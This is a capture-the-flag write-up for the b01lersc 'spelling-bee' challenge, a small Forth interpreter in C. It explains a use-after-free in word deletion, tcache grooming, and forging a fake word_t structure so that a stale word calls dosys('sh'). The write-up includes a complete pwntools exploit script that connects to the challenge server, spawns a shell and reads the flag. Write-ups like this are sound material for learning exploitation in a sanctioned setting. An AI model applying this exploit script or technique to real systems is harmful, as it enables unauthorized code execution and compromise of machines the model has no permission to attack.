pwnfreemedium

spelling-bee

b01lersc

Task: a tiny Forth interpreter with user-defined words, deletion, and a startup leak of dosys(). Solution: exploit a use-after-free in forget, groom tcache to reclaim a stale word_t as name chunks, forge a fake word_t, and redirect execution to dosys(\"sh\").

$ ls tags/ techniques/
tcache_groominguse_after_free_exploitationfake_structure_forgery

spelling-bee — b01lersc

Description

The original organizer description was not preserved in the task directory.

We are given a small Forth-like interpreter implemented in C. The goal is to study how user-defined words are compiled and deleted, then turn a memory-management bug into code execution and read the flag.

Analysis

The core runtime object is:

typedef struct word { long flags; long length; long referenced_by; void (*code)(void *); void *param; } word_t;

Dictionary entries are stored separately as:

typedef struct dictionary { char *name; word_t *word; struct dictionary *next; bool alloc_name; } dict_t;

When the interpreter compiles a new word, it appends raw word_t * pointers into compile_def. There is no indirection layer: compiled words directly reference the original word_t objects.

That would still be safe if deletion respected ownership, but delete_word() does not check referenced_by before freeing the target word. So if word a was compiled to call word b, then forget b frees b even though a still contains a pointer to b.word_t. This is a classic dangling-pointer bug and gives us a use-after-free primitive.

The challenge also prints the runtime address of dosys() at startup:

printf("%p\n", dosys);

That immediately leaks the PIE base, so we can compute both dosys and the address of g_stack.

The heap layout is especially convenient:

  • sizeof(word_t) lands in the 0x30 tcache bin.
  • sizeof(dict_t) also lands in the 0x30 tcache bin.
  • The initial compile_def allocation for a freshly compiled word lands in the 0x90 tcache bin.

The exploit relies on careful tcache grooming. We create several helper words, then compile b, and then compile a so that a contains a stale raw pointer to b.word_t. After that, we free enough same-size chunks to control tcache counts. The important part is that forgetting b places b.word_t into the 0x30 tcache bin while b.dict_t spills instead of reclaiming the same slot, preserving the stale chunk for later reuse.

Once that freed b.word_t chunk is available, we reclaim it as a short name allocation three times and progressively overwrite the stale structure in place.

Forgery plan

We choose a writable g_stack cell whose low six bytes contain no whitespace or NUL, because tokens are parsed with %s. Then we perform three reclaim stages:

  1. Stage A: write the low bytes of param so the forged word_t points at the chosen g_stack cell.
  2. Stage B: write the low bytes of dosys into code and zero one remaining byte.
  3. Stage C: write the low bytes of dosys again and zero the last remaining code byte.

After these writes, the dangling pointer inside a now resolves to a fake word_t whose code is dosys and whose param points into g_stack.

Finally, pushing decimal 26739 places 0x6873 on the selected stack cell, which is the string "sh" in little endian. Calling the stale word a therefore executes dosys("sh"), which reaches system("sh").

From the resulting shell, cat flag* prints the flag.

Solution

The exploit script below implements the full attack:

#!/usr/bin/env python3 from pwn import * HOST = "spelling-bee.opus4-7.b01le.rs" PORT = 8443 DOSYS_OFF = 0x146B GSTACK_OFF = 0x5100 BAD = set(b" \t\r\n\x0b\x0c\x00") def good(bs: bytes) -> bool: return all(b not in BAD for b in bs) def pick_stack_target(base: int): g_stack = base + GSTACK_OFF for off in range(8, 8 * 64, 8): addr = g_stack + off low6 = p64(addr)[:6] if good(low6): return addr, off // 8 raise RuntimeError("no usable g_stack cell") def main(): io = remote(HOST, PORT, ssl=True) io.recvuntil(b"implement them for me?\n") dosys = int(io.recvline().strip(), 16) base = dosys - DOSYS_OFF target, cell = pick_stack_target(base) log.info(f"dosys = {hex(dosys)}") log.info(f"base = {hex(base)}") log.info(f"target = {hex(target)} (cell {cell})") n1 = b"A" * 24 + b"B" * 8 + p64(target)[:6] n2 = b"A" * 24 + p64(dosys)[:6] + b"X" n3 = b"A" * 24 + p64(dosys)[:6] assert len(n1) == 38 and good(n1) assert len(n2) == 31 and good(n2) assert len(n3) == 30 and good(n3) tokens = [ b":", b"f1", b";", b":", b"f2", b";", b":", b"f3", b";", b":", b"f4", b";", b":", b"f5", b";", b":", b"b", b";", b":", b"a", b"b", b";", b"forget", b"f1", b"forget", b"f2", b"forget", b"f3", b"forget", b"b", b":", n1, b";", b"forget", b"f4", b":", b"t1", b"1", b";", b"forget", b"t1", b"forget", n1, b":", n2, b";", b"forget", b"f5", b":", b"t2", b"1", b";", b"forget", b"t2", b"forget", n2, b":", n3, b";", ] for _ in range(cell - 1): tokens.append(b"0") tokens.append(str(0x6873).encode()) tokens.append(b"a") io.send(b" ".join(tokens) + b"\n") io.sendline(b"cat flag*; exit") print(io.recvrepeat(2).decode(errors="ignore")) if __name__ == "__main__": main()

Step-by-step

  1. Read the startup leak and compute the PIE base from dosys.
  2. Pick a usable g_stack cell whose address bytes are safe inside a token.
  3. Build word b, then word a that references b, so a stores a raw pointer to b.word_t.
  4. Free helper chunks to shape the 0x30 tcache state.
  5. forget b and leave a dangling word_t * inside a.
  6. Reclaim the freed b.word_t chunk as short name allocations three times, forging param and then code.
  7. Push 26739 so the chosen stack cell contains "sh".
  8. Invoke a, which now dispatches to forged dosys("sh").
  9. From the shell, run cat flag*.

$ cat /etc/motd

Liked this one?

Pro unlocks every writeup, every flag, and API access. $9/mo.

$ cat pricing.md